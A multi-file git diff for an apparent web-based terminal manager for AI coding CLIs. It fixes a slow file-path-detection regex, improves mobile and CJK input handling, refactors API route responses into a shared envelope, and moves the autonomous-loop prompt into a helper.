const cmdPattern = /(tail|cat|head|less|grep|watch|vim|nano)\s+(?:[^\s\/]*\s+)*(\/[^\s"'<>|;&\n\x00-\x1f]+)/g;
|
||||
// ⚠ The arg group must stay linear-time: `(?:[^\s\/]*\s+)*` (empty-matchable
|
||||
// token, unbounded) backtracks exponentially on lines with a trigger word
|
||||
// followed by multi-space runs (e.g. wrapped heredoc/table output) — froze
|
||||
// the whole tab on hover. Non-empty token + bounded reps is O(n).
|
||||
const cmdPattern = /\b(tail|cat|head|less|grep|watch|vim|nano)\s+(?:[^\s\/]+\s+){0,4}(\/[^\s"'<>|;&\n\x00-\x1f]+)/g;
|
||||
|
||||
// Pattern 2: Paths with common extensions
|
||||
const extPattern =
|
||||
@@ -868,7 +941,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
async _fetchHistorySessions() {
|
||||
const res = await fetch('/api/history/sessions');
|
||||
const data = await res.json();
|
||||
const sessions = data.sessions || [];
|
||||
const sessions = data.data?.sessions || [];
|
||||
if (sessions.length === 0) return [];
|
||||
|
||||
const byProject = new Map();
|
||||
@@ -1046,7 +1119,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
// Prefer already-loaded this.cases to avoid an extra request.
|
||||
const casesPromise = Array.isArray(this.cases) && this.cases.length > 0
|
||||
? Promise.resolve(this.cases)
|
||||
: fetch('/api/cases').then((r) => (r.ok ? r.json() : [])).catch(() => []);
|
||||
: fetch('/api/cases').then((r) => (r.ok ? r.json() : null)).then((d) => d?.data || []).catch(() => []);
|
||||
const [allSessions, cases] = await Promise.all([
|
||||
this._fetchHistorySessions(30),
|
||||
casesPromise,
|
||||
@@ -1173,8 +1246,8 @@ Object.assign(CodemanApp.prototype, {
|
||||
const url = `/api/history/sessions?projectKey=${encodeURIComponent(projectKey)}&offset=${offset}&limit=${limit}`;
|
||||
const res = await fetch(url);
|
||||
const data = await res.json();
|
||||
const sessions = data.sessions || [];
|
||||
state.total = typeof data.total === 'number' ? data.total : sessions.length + offset;
|
||||
const sessions = data.data?.sessions || [];
|
||||
state.total = typeof data.data?.total === 'number' ? data.data.total : sessions.length + offset;
|
||||
|
||||
if (offset === 0 && sessions.length === 0) {
|
||||
const empty = document.createElement('div');
|
||||
@@ -1261,7 +1334,7 @@ Object.assign(CodemanApp.prototype, {
|
||||
const createData = await createRes.json();
|
||||
if (!createData.success) throw new Error(createData.error);
|
||||
|
||||
const newSessionId = createData.session.id;
|
||||
const newSessionId = createData.data.session.id;
|
||||
|
||||
// Start interactive
|
||||
await fetch(`/api/sessions/${newSessionId}/interactive`, { method: 'POST' });
|
||||
@@ -1426,12 +1499,104 @@ Object.assign(CodemanApp.prototype, {
|
||||
this._localEchoOverlay.clear();
|
||||
this._localEchoEnabled = false;
|
||||
} else {
|
||||
// Claude Code: scan for ❯ prompt character
|
||||
this._localEchoOverlay.setPrompt({ type: 'character', char: '\u276f', offset: 2 });
|
||||
// Codex/Claude-style TUIs usually expose a ❯ prompt. During active
|
||||
// redraws or compact mobile layouts that marker may not be present in
|
||||
// the viewport, while xterm's cursor still marks the editable input
|
||||
// position. Fall back to cursor coordinates so phone typing appears at
|
||||
// the terminal cursor instead of disappearing into pending state.
|
||||
this._localEchoOverlay.setPrompt({
|
||||
type: 'custom',
|
||||
offset: 0,
|
||||
find: (terminal) => {
|
||||
try {
|
||||
const buf = terminal.buffer.active;
|
||||
for (let row = terminal.rows - 1; row >= 0; row--) {
|
||||
const line = buf.getLine(buf.viewportY + row);
|
||||
if (!line) continue;
|
||||
const text = line.translateToString(true);
|
||||
const idx = text.lastIndexOf('\u276f');
|
||||
if (idx >= 0) return { row, col: idx + 2 };
|
||||
}
|
||||
return {
|
||||
row: Math.max(0, Math.min(terminal.rows - 1, buf.cursorY)),
|
||||
col: Math.max(0, Math.min(terminal.cols - 1, buf.cursorX)),
|
||||
};
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
_handleCjkInput(text) {
|
||||
if (!this.activeSessionId) return;
|
||||
const sessionId = this.activeSessionId;
|
||||
const session = this.sessions.get(sessionId);
|
||||
const useLocalEcho = !!(this._localEchoEnabled && this._localEchoOverlay && session?.mode !== 'shell');
|
||||
if (!useLocalEcho) {
|
||||
this._sendInputAsync(sessionId, text);
|
||||
return;
|
||||
}
|
||||
|
||||
if (text === '\x7f') {
|
||||
const source = this._localEchoOverlay.removeChar();
|
||||
if (source === 'flushed') {
|
||||
// Sync app-level flushed Maps (per-session state for tab switching),
|
||||
// mirroring the onData backspace path — otherwise switching tabs away
|
||||
// and back restores a stale, too-long flushed overlay.
|
||||
const { count, text: flushedText } = this._localEchoOverlay.getFlushed();
|
||||
if (this._flushedOffsets?.has(sessionId)) {
|
||||
if (count === 0) {
|
||||
this._flushedOffsets.delete(sessionId);
|
||||
this._flushedTexts?.delete(sessionId);
|
||||
} else {
|
||||
this._flushedOffsets.set(sessionId, count);
|
||||
this._flushedTexts?.set(sessionId, flushedText);
|
||||
}
|
||||
}
|
||||
this._sendInputAsync(sessionId, text);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (/[\r\n]+$/.test(text)) {
|
||||
const committed = text.replace(/[\r\n]+$/g, '');
|
||||
if (committed) this._localEchoOverlay.appendText(committed);
|
||||
const pending = this._localEchoOverlay.pendingText || '';
|
||||
this._localEchoOverlay.clear();
|
||||
this._localEchoOverlay.suppressBufferDetection();
|
||||
this._flushedOffsets?.delete(sessionId);
|
||||
this._flushedTexts?.delete(sessionId);
|
||||
if (pending) this._sendInputAsync(sessionId, pending);
|
||||
setTimeout(() => this._sendInputAsync(sessionId, '\r'), pending ? 80 : 0);
|
||||
return;
|
||||
}
|
||||
|
||||
// Multi-byte escape sequence (arrow/Home/End from a hardware keyboard on
|
||||
// the composer) — forward to the PTY without touching overlay state,
|
||||
// mirroring the onData path. Appending it to pending text would type raw
|
||||
// ESC bytes into the prompt on the next Enter.
|
||||
if (text.length > 1 && text.charCodeAt(0) === 27) {
|
||||
this._sendInputAsync(sessionId, text);
|
||||
return;
|
||||
}
|
||||
|
||||
if (text.length === 1 && text.charCodeAt(0) < 32) {
|
||||
const pending = this._localEchoOverlay.pendingText || '';
|
||||
this._localEchoOverlay.clear();
|
||||
this._localEchoOverlay.suppressBufferDetection();
|
||||
this._flushedOffsets?.delete(sessionId);
|
||||
this._flushedTexts?.delete(sessionId);
|
||||
if (pending) this._sendInputAsync(sessionId, pending);
|
||||
this._sendInputAsync(sessionId, text);
|
||||
return;
|
||||
}
|
||||
|
||||
this._localEchoOverlay.appendText(text);
|
||||
},
|
||||
|
||||
/**
|
||||
* Flush pending writes to terminal, processing DEC 2026 sync markers.
|
||||
* Strips markers and writes content atomically within a single frame.
|
||||
@@ -1594,6 +1759,38 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
},
|
||||
|
||||
scrollToLastNonEmptyLine() {
|
||||
if (!this.terminal?.buffer?.active) {
|
||||
this.terminal?.scrollToBottom?.();
|
||||
return;
|
||||
}
|
||||
|
||||
const buffer = this.terminal.buffer.active;
|
||||
const totalLines = buffer.baseY + buffer.length;
|
||||
let lastNonEmptyLine = -1;
|
||||
|
||||
for (let lineIndex = totalLines - 1; lineIndex >= 0; lineIndex--) {
|
||||
const line = buffer.getLine(lineIndex);
|
||||
if (line?.translateToString(true).trim()) {
|
||||
lastNonEmptyLine = lineIndex;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (lastNonEmptyLine >= 0 && typeof this.terminal.scrollToLine === 'function') {
|
||||
let targetLine = Math.max(0, lastNonEmptyLine - this.terminal.rows + 2);
|
||||
const maxTargetLine = Math.max(0, lastNonEmptyLine);
|
||||
while (targetLine < maxTargetLine) {
|
||||
const line = buffer.getLine(targetLine);
|
||||
if (line?.translateToString(true).trim()) break;
|
||||
targetLine++;
|
||||
}
|
||||
this.terminal.scrollToLine(targetLine);
|
||||
} else {
|
||||
this.terminal.scrollToBottom();
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Write large buffer to terminal in chunks to avoid UI jank.
|
||||
* Uses _safeYield to spread work across frames; falls back to setTimeout
|
||||
@@ -1602,22 +1799,19 @@ Object.assign(CodemanApp.prototype, {
|
||||
* @param {number} chunkSize - Size of each chunk (default 128KB for smooth 60fps)
|
||||
* @returns {Promise<void>} - Resolves when all chunks written
|
||||
*/
|
||||
chunkedTerminalWrite(buffer, chunkSize = TERMINAL_CHUNK_SIZE) {
|
||||
chunkedTerminalWrite(buffer, chunkSize = TERMINAL_CHUNK_SIZE, loadOwner) {
|
||||
// Generation counter: if a newer chunkedTerminalWrite starts (tab switch),
|
||||
// older writes abort instead of continuing to push stale data into the terminal.
|
||||
const writeGen = ++this._chunkedWriteGen;
|
||||
const bufferLoadOwner = this._beginBufferLoad(loadOwner);
|
||||
|
||||
return new Promise((resolve) => {
|
||||
if (!buffer || buffer.length === 0) {
|
||||
this._finishBufferLoad();
|
||||
this._finishBufferLoad(bufferLoadOwner);
|
||||
resolve();
|
||||
return;
|
||||
}
|
||||
|
||||
// Block live SSE writes during buffer load to prevent interleaving
|
||||
this._isLoadingBuffer = true;
|
||||
this._loadBufferQueue = [];
|
||||
|
||||
// Strip any DEC 2026 markers that might be in the buffer
|
||||
// (from historical SSE data that was stored with markers)
|
||||
const cleanBuffer = buffer.replace(DEC_SYNC_STRIP_RE, '');
|
||||
@@ -1625,15 +1819,14 @@ Object.assign(CodemanApp.prototype, {
|
||||
const finish = () => {
|
||||
// Only finish if we're still the active write — a newer write owns buffer load state
|
||||
if (this._chunkedWriteGen === writeGen) {
|
||||
this._finishBufferLoad();
|
||||
this._finishBufferLoad(bufferLoadOwner);
|
||||
}
|
||||
resolve();
|
||||
};
|
||||
|
||||
// For small buffers, write directly — single-frame render is fast enough
|
||||
if (cleanBuffer.length <= chunkSize) {
|
||||
this.terminal.write(cleanBuffer);
|
||||
finish();
|
||||
this.terminal.write(cleanBuffer, finish);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1691,9 +1884,23 @@ Object.assign(CodemanApp.prototype, {
|
||||
* (especially Ink cursor-up redraws), corrupting the terminal display.
|
||||
* After unblocking, new SSE/WS events deliver subsequent output normally.
|
||||
*/
|
||||
_finishBufferLoad() {
|
||||
_beginBufferLoad(owner) {
|
||||
if (this._bufferLoadSeq === undefined) this._bufferLoadSeq = 0;
|
||||
const loadOwner = owner === undefined ? `buffer-${++this._bufferLoadSeq}` : owner;
|
||||
this._bufferLoadOwner = loadOwner;
|
||||
this._isLoadingBuffer = true;
|
||||
this._loadBufferQueue = [];
|
||||
return loadOwner;
|
||||
},
|
||||
|
||||
_finishBufferLoad(owner) {
|
||||
if (owner !== undefined && this._bufferLoadOwner !== owner) {
|
||||
return false;
|
||||
}
|
||||
this._isLoadingBuffer = false;
|
||||
this._loadBufferQueue = null;
|
||||
this._bufferLoadOwner = null;
|
||||
return true;
|
||||
},
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
@@ -1765,6 +1972,23 @@ Object.assign(CodemanApp.prototype, {
|
||||
}
|
||||
},
|
||||
|
||||
_syncMobileHelperTextareaToCursor() {
|
||||
if (!MobileDetection.isTouchDevice() || !this.terminal?.element) return;
|
||||
try {
|
||||
const xtermEl = this.terminal.element;
|
||||
const cursor = this.terminal.element.querySelector('.xterm-cursor');
|
||||
const screen = this.terminal.element.querySelector('.xterm-screen');
|
||||
if (!(xtermEl instanceof HTMLElement) || !(cursor instanceof HTMLElement) || !(screen instanceof HTMLElement)) return;
|
||||
const cursorRect = cursor.getBoundingClientRect();
|
||||
const screenRect = screen.getBoundingClientRect();
|
||||
if (!cursorRect.width && !cursorRect.height) return;
|
||||
const left = Math.max(0, Math.round(cursorRect.left - screenRect.left));
|
||||
const top = Math.max(0, Math.round(cursorRect.top - screenRect.top));
|
||||
xtermEl.style.setProperty('--xterm-helper-left', `${left}px`);
|
||||
xtermEl.style.setProperty('--xterm-helper-top', `${top}px`);
|
||||
} catch {}
|
||||
},
|
||||
|
||||
increaseFontSize() {
|
||||
const current = this.terminal.options.fontSize || 14;
|
||||
this.setFontSize(Math.min(current + 2, 24));
|
||||
@@ -1814,23 +2038,38 @@ Object.assign(CodemanApp.prototype, {
|
||||
/**
|
||||
* Send resize to a session with minimum dimension enforcement.
|
||||
* @param {string} sessionId
|
||||
* @param {{ forceHttp?: boolean }} [options]
|
||||
* @returns {Promise<void>}
|
||||
*/
|
||||
async sendResize(sessionId) {
|
||||
async sendResize(sessionId, options = {}) {
|
||||
// Fit terminal to container before reading dimensions — ensures local
|
||||
// terminal size matches what we report to the server PTY.
|
||||
if (this.fitAddon) this.fitAddon.fit();
|
||||
const dims = this.getTerminalDimensions();
|
||||
if (!dims) return;
|
||||
if (!dims) return false;
|
||||
// Did the dimensions actually change since the last resize we sent? Callers
|
||||
// use this to skip work (e.g. the post-resize TUI-redraw settle) when no
|
||||
// real SIGWINCH was triggered — switching tabs at the same browser size is
|
||||
// a no-op on the server and needs no redraw grace.
|
||||
const prev = this._lastResizeDims;
|
||||
const changed = !prev || prev.cols !== dims.cols || prev.rows !== dims.rows;
|
||||
// Update _lastResizeDims so the throttledResize handler won't redundantly
|
||||
// clear the terminal for the same dimensions (which would blank the screen
|
||||
// without a subsequent Ink redraw to repaint it).
|
||||
this._lastResizeDims = { cols: dims.cols, rows: dims.rows };
|
||||
const viewportType =
|
||||
typeof MobileDetection !== 'undefined' && MobileDetection.getDeviceType
|
||||
? MobileDetection.getDeviceType()
|
||||
: window.innerWidth < 430
|
||||
? 'mobile'
|
||||
: window.innerWidth < 768
|
||||
? 'tablet'
|
||||
: 'desktop';
|
||||
// Fast path: WebSocket resize
|
||||
if (this._wsReady && this._wsSessionId === sessionId) {
|
||||
if (!options.forceHttp && this._wsReady && this._wsSessionId === sessionId) {
|
||||
try {
|
||||
this._ws.send(JSON.stringify({ t: 'z', c: dims.cols, r: dims.rows }));
|
||||
return;
|
||||
this._ws.send(JSON.stringify({ t: 'z', c: dims.cols, r: dims.rows, v: viewportType }));
|
||||
return changed;
|
||||
} catch {
|
||||
// Fall through to HTTP POST
|
||||
}
|
||||
@@ -1838,8 +2077,9 @@ Object.assign(CodemanApp.prototype, {
|
||||
await fetch(`/api/sessions/${sessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(dims),
|
||||
body: JSON.stringify({ ...dims, viewportType }),
|
||||
});
|
||||
return changed;
|
||||
},
|
||||
|
||||
/**
|
||||
|
||||
@@ -262,7 +262,7 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config
|
||||
const fixPlanPath = join(casePath, '@fix_plan.md');
|
||||
|
||||
if (!existsSync(fixPlanPath)) {
|
||||
return { success: true, exists: false, content: null, todos: [] };
|
||||
return { exists: false, content: null, todos: [] };
|
||||
}
|
||||
|
||||
try {
|
||||
@@ -339,7 +339,6 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config
|
||||
const stats = { total: todos.length, pending, inProgress, completed };
|
||||
|
||||
return {
|
||||
success: true,
|
||||
exists: true,
|
||||
content,
|
||||
todos,
|
||||
|
||||
@@ -6,19 +6,20 @@
|
||||
import { FastifyInstance } from 'fastify';
|
||||
import { SseEvent } from '../sse-events.js';
|
||||
import type { EventPort } from '../ports/index.js';
|
||||
import { createErrorResponse, ApiErrorCode } from '../../types.js';
|
||||
|
||||
export function registerClipboardRoutes(app: FastifyInstance, ctx: EventPort): void {
|
||||
app.post('/api/clipboard', async (req) => {
|
||||
const body = req.body as { text?: string; sessionId?: string };
|
||||
const text = body?.text;
|
||||
if (typeof text !== 'string' || text.length === 0) {
|
||||
return { success: false, error: 'Missing or empty "text" field' };
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Missing or empty "text" field');
|
||||
}
|
||||
ctx.broadcast(SseEvent.ClipboardWrite, {
|
||||
text,
|
||||
sessionId: body.sessionId ?? null,
|
||||
timestamp: Date.now(),
|
||||
});
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -375,12 +375,15 @@ export function registerFileRoutes(app: FastifyInstance, ctx: SessionPort): void
|
||||
});
|
||||
});
|
||||
|
||||
// Close a file stream
|
||||
// Close a file stream. Returns { closed } rather than { success: closed } —
|
||||
// a top-level `success` key would collide with the envelope discriminator
|
||||
// (the preSerialization hook would pass `{success:false}` through as a
|
||||
// malformed error envelope instead of wrapping it).
|
||||
app.delete('/api/sessions/:id/tail-file/:streamId', async (req) => {
|
||||
const { id, streamId } = req.params as { id: string; streamId: string };
|
||||
findSessionOrFail(ctx, id); // Validates session exists
|
||||
const closed = fileStreamManager.closeStream(streamId);
|
||||
return { success: closed };
|
||||
return { closed };
|
||||
});
|
||||
// Session-scoped file download.
|
||||
// Uses the same realpath-based workspace boundary as file preview/raw routes;
|
||||
|
||||
@@ -66,6 +66,6 @@ export function registerHookEventRoutes(
|
||||
summaryTracker.recordHookEvent(event, safeData);
|
||||
}
|
||||
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -19,7 +19,7 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
|
||||
app.delete('/api/mux-sessions/:sessionId', async (req) => {
|
||||
const { sessionId } = req.params as { sessionId: string };
|
||||
const success = await ctx.mux.killSession(sessionId);
|
||||
return { success };
|
||||
return { killed: success };
|
||||
});
|
||||
|
||||
app.post('/api/mux-sessions/reconcile', async () => {
|
||||
@@ -29,11 +29,11 @@ export function registerMuxRoutes(app: FastifyInstance, ctx: InfraPort): void {
|
||||
|
||||
app.post('/api/mux-sessions/stats/start', async () => {
|
||||
ctx.mux.startStatsCollection(STATS_COLLECTION_INTERVAL_MS);
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
app.post('/api/mux-sessions/stats/stop', async () => {
|
||||
ctx.mux.stopStatsCollection();
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -408,7 +408,7 @@ NOW: Generate the implementation plan for the task above. Think step by step.`;
|
||||
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, 'Ralph tracker not available');
|
||||
}
|
||||
|
||||
return { success: true, data: tracker.getPlanHistory() };
|
||||
return { success: true, data: { history: tracker.getPlanHistory(), currentVersion: tracker.planVersion } };
|
||||
});
|
||||
|
||||
// ========== Rollback to Version ==========
|
||||
|
||||
@@ -35,7 +35,7 @@ export function registerPushRoutes(app: FastifyInstance, ctx: InfraPort): void {
|
||||
if (!updated) {
|
||||
return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Subscription not found');
|
||||
}
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
app.delete('/api/push/subscribe/:id', async (req) => {
|
||||
@@ -44,6 +44,6 @@ export function registerPushRoutes(app: FastifyInstance, ctx: InfraPort): void {
|
||||
if (!removed) {
|
||||
return createErrorResponse(ApiErrorCode.NOT_FOUND, 'Subscription not found');
|
||||
}
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
@@ -9,13 +9,14 @@ import { join, dirname, resolve, relative, isAbsolute } from 'node:path';
|
||||
import { existsSync, mkdirSync, writeFileSync } from 'node:fs';
|
||||
import fs from 'node:fs/promises';
|
||||
import { ApiErrorCode, createErrorResponse, getErrorMessage, type ApiResponse } from '../../types.js';
|
||||
import { Session } from '../../session.js';
|
||||
import { Session, isExternalCliMode } from '../../session.js';
|
||||
import { RespawnController } from '../../respawn-controller.js';
|
||||
import { RalphConfigSchema, FixPlanImportSchema, RalphPromptWriteSchema, RalphLoopStartSchema } from '../schemas.js';
|
||||
import { SseEvent } from '../sse-events.js';
|
||||
import { autoConfigureRalph, CASES_DIR, SETTINGS_PATH, findSessionOrFail, parseBody } from '../route-helpers.js';
|
||||
import { writeHooksConfig, stripCaseEnvKeys } from '../../hooks-config.js';
|
||||
import { generateClaudeMd } from '../../templates/claude-md.js';
|
||||
import { buildRalphLoopPrompt } from '../../prompts/index.js';
|
||||
import { getLifecycleLog } from '../../session-lifecycle-log.js';
|
||||
import type { SessionPort, EventPort, RespawnPort, ConfigPort, InfraPort } from '../ports/index.js';
|
||||
import { MAX_CONCURRENT_SESSIONS } from '../../config/map-limits.js';
|
||||
@@ -44,9 +45,12 @@ export function registerRalphRoutes(
|
||||
};
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
// Ralph tracker is not supported for opencode sessions
|
||||
if (session.mode === 'opencode') {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Ralph tracker is not supported for opencode sessions');
|
||||
// Ralph tracker is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(
|
||||
ApiErrorCode.INVALID_INPUT,
|
||||
`Ralph tracker is not supported for ${session.mode} sessions`
|
||||
);
|
||||
}
|
||||
|
||||
// Handle reset first (before other config)
|
||||
@@ -101,7 +105,7 @@ export function registerRalphRoutes(
|
||||
state: session.ralphLoopState,
|
||||
});
|
||||
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// Reset circuit breaker for Ralph tracker
|
||||
@@ -110,7 +114,7 @@ export function registerRalphRoutes(
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
session.ralphTracker.resetCircuitBreaker();
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// Get Ralph status block and circuit breaker state
|
||||
@@ -379,37 +383,12 @@ export function registerRalphRoutes(
|
||||
writeFileSync(fixPlanPath, planContent, 'utf-8');
|
||||
}
|
||||
|
||||
// Build full prompt
|
||||
const hasPlan = enabledItems.length > 0;
|
||||
let fullPrompt = taskDescription + '\n\n---\n\n';
|
||||
if (hasPlan) {
|
||||
fullPrompt += '## Task Plan\n\n';
|
||||
fullPrompt += 'A task plan has been written to `@fix_plan.md`. Use this to track progress:\n';
|
||||
fullPrompt += '- Reference the plan at the start of each iteration\n';
|
||||
fullPrompt += '- Update task checkboxes as you complete items\n';
|
||||
fullPrompt += '- Work through items in priority order (P0 > P1 > P2)\n\n';
|
||||
}
|
||||
fullPrompt += '## Iteration Protocol\n\n';
|
||||
fullPrompt += 'This is an autonomous loop. Files from previous iterations persist. On each iteration:\n';
|
||||
fullPrompt += '1. Check what work has already been done\n';
|
||||
fullPrompt += '2. Make incremental progress toward completion\n';
|
||||
fullPrompt += '3. Commit meaningful changes with descriptive messages\n\n';
|
||||
fullPrompt += '## Verification\n\n';
|
||||
fullPrompt += 'After each significant change:\n';
|
||||
fullPrompt += '- Run tests to verify (npm test, pytest, etc.)\n';
|
||||
fullPrompt += '- Check for type/lint errors if applicable\n';
|
||||
fullPrompt += '- If tests fail, read the error, fix it, and retry\n\n';
|
||||
fullPrompt += '## Completion Criteria\n\n';
|
||||
fullPrompt += `Output \`<promise>${completionPhrase}</promise>\` when ALL of the following are true:\n`;
|
||||
fullPrompt += '- All requirements from the task description are implemented\n';
|
||||
fullPrompt += '- All tests pass\n';
|
||||
fullPrompt += '- Changes are committed\n\n';
|
||||
fullPrompt += '## If Stuck\n\n';
|
||||
fullPrompt += 'If you encounter the same error for 3+ iterations:\n';
|
||||
fullPrompt += "1. Document what you've tried\n";
|
||||
fullPrompt += '2. Identify the specific blocker\n';
|
||||
fullPrompt += '3. Try an alternative approach\n';
|
||||
fullPrompt += '4. If truly blocked, output `<promise>BLOCKED</promise>` with an explanation\n';
|
||||
// Build full prompt (includes the RALPH_STATUS contract)
|
||||
const fullPrompt = buildRalphLoopPrompt({
|
||||
taskDescription,
|
||||
completionPhrase,
|
||||
hasPlan: enabledItems.length > 0,
|
||||
});
|
||||
|
||||
// Write prompt to file
|
||||
const promptPath = join(casePath, '@ralph_prompt.md');
|
||||
|
||||
@@ -11,6 +11,7 @@ import { SseEvent } from '../sse-events.js';
|
||||
import { findSessionOrFail, autoConfigureRalph, parseBody } from '../route-helpers.js';
|
||||
import type { SessionPort, EventPort, RespawnPort, ConfigPort, InfraPort } from '../ports/index.js';
|
||||
import { getLifecycleLog } from '../../session-lifecycle-log.js';
|
||||
import { isExternalCliMode } from '../../session.js';
|
||||
import {
|
||||
AI_CHECK_MODEL,
|
||||
AI_IDLE_CHECK_MAX_CONTEXT,
|
||||
@@ -62,16 +63,16 @@ export function registerRespawnRoutes(
|
||||
const controller = ctx.respawnControllers.get(id);
|
||||
|
||||
if (controller) {
|
||||
return { success: true, config: controller.getConfig(), active: true };
|
||||
return { config: controller.getConfig(), active: true };
|
||||
}
|
||||
|
||||
// Return pre-saved config from mux-sessions.json
|
||||
const preConfig = ctx.mux.getSession(id)?.respawnConfig;
|
||||
if (preConfig) {
|
||||
return { success: true, config: preConfig, active: false };
|
||||
return { config: preConfig, active: false };
|
||||
}
|
||||
|
||||
return { success: true, config: null, active: false };
|
||||
return { config: null, active: false };
|
||||
});
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
@@ -88,9 +89,9 @@ export function registerRespawnRoutes(
|
||||
}
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
// Respawn is not supported for opencode sessions
|
||||
if (session.mode === 'opencode') {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Respawn is not supported for opencode sessions');
|
||||
// Respawn is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
|
||||
}
|
||||
|
||||
// Create or get existing controller
|
||||
@@ -114,7 +115,7 @@ export function registerRespawnRoutes(
|
||||
|
||||
ctx.broadcast(SseEvent.RespawnStarted, { sessionId: id, status: controller.getStatus() });
|
||||
|
||||
return { success: true, status: controller.getStatus() };
|
||||
return { status: controller.getStatus() };
|
||||
});
|
||||
|
||||
// ========== Stop Respawn ==========
|
||||
@@ -150,7 +151,7 @@ export function registerRespawnRoutes(
|
||||
|
||||
ctx.broadcast(SseEvent.RespawnStopped, { sessionId: id });
|
||||
|
||||
return { success: true };
|
||||
return {};
|
||||
});
|
||||
|
||||
// ========== Update Respawn Config ==========
|
||||
@@ -169,7 +170,7 @@ export function registerRespawnRoutes(
|
||||
ctx.saveRespawnConfig(id, controller.getConfig());
|
||||
ctx.persistSessionState(session);
|
||||
ctx.broadcast(SseEvent.RespawnConfigUpdated, { sessionId: id, config: controller.getConfig() });
|
||||
return { success: true, config: controller.getConfig() };
|
||||
return { config: controller.getConfig() };
|
||||
}
|
||||
|
||||
// No controller running - save as pre-config for when respawn starts
|
||||
@@ -206,7 +207,7 @@ export function registerRespawnRoutes(
|
||||
ctx.mux.updateRespawnConfig(id, merged);
|
||||
ctx.persistSessionState(session);
|
||||
ctx.broadcast(SseEvent.RespawnConfigUpdated, { sessionId: id, config: merged });
|
||||
return { success: true, config: merged };
|
||||
return { config: merged };
|
||||
});
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
@@ -231,9 +232,9 @@ export function registerRespawnRoutes(
|
||||
return createErrorResponse(ApiErrorCode.SESSION_BUSY, 'Session is busy');
|
||||
}
|
||||
|
||||
// Respawn is not supported for opencode sessions
|
||||
if (session.mode === 'opencode') {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Respawn is not supported for opencode sessions');
|
||||
// Respawn is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
|
||||
}
|
||||
|
||||
try {
|
||||
@@ -296,9 +297,9 @@ export function registerRespawnRoutes(
|
||||
const body = reResult.data as { config?: Partial<RespawnConfig>; durationMinutes?: number };
|
||||
const session = findSessionOrFail(ctx, id);
|
||||
|
||||
// Respawn is not supported for opencode sessions
|
||||
if (session.mode === 'opencode') {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Respawn is not supported for opencode sessions');
|
||||
// Respawn is not supported for external-CLI sessions (opencode/codex)
|
||||
if (isExternalCliMode(session.mode)) {
|
||||
return createErrorResponse(ApiErrorCode.INVALID_INPUT, `Respawn is not supported for ${session.mode} sessions`);
|
||||
}
|
||||
|
||||
// Check if session is running (has a PID)
|
||||
@@ -332,7 +333,6 @@ export function registerRespawnRoutes(
|
||||
ctx.broadcast(SseEvent.RespawnStarted, { sessionId: id, status: controller.getStatus() });
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: 'Respawn enabled on existing session',
|
||||
respawnStatus: controller.getStatus(),
|
||||
};
|
||||
|
||||
@@ -15,7 +15,7 @@ export function registerScheduledRoutes(app: FastifyInstance, ctx: SessionPort &
|
||||
return Array.from(ctx.scheduledRuns.values());
|
||||
});
|
||||
|
||||
app.post('/api/scheduled', async (req): Promise<{ success: boolean; run: ScheduledRun } | ApiResponse<never>> => {
|
||||
app.post('/api/scheduled', async (req): Promise<{ run: ScheduledRun } | ApiResponse<never>> => {
|
||||
const { prompt, workingDir, durationMinutes } = parseBody(ScheduledRunSchema, req.body, 'Invalid request body');
|
||||
|
||||
// Validate workingDir exists and is a directory
|
||||
@@ -31,7 +31,7 @@ export function registerScheduledRoutes(app: FastifyInstance, ctx: SessionPort &
|
||||
}
|
||||
|
||||
const run = await ctx.startScheduledRun(prompt, workingDir || process.cwd(), durationMinutes ?? 60);
|
||||
return { success: true, run };
|
||||
return { run };
|
||||
});
|
||||
|
||||
app.delete('/api/scheduled/:id', async (req) => {
|
||||
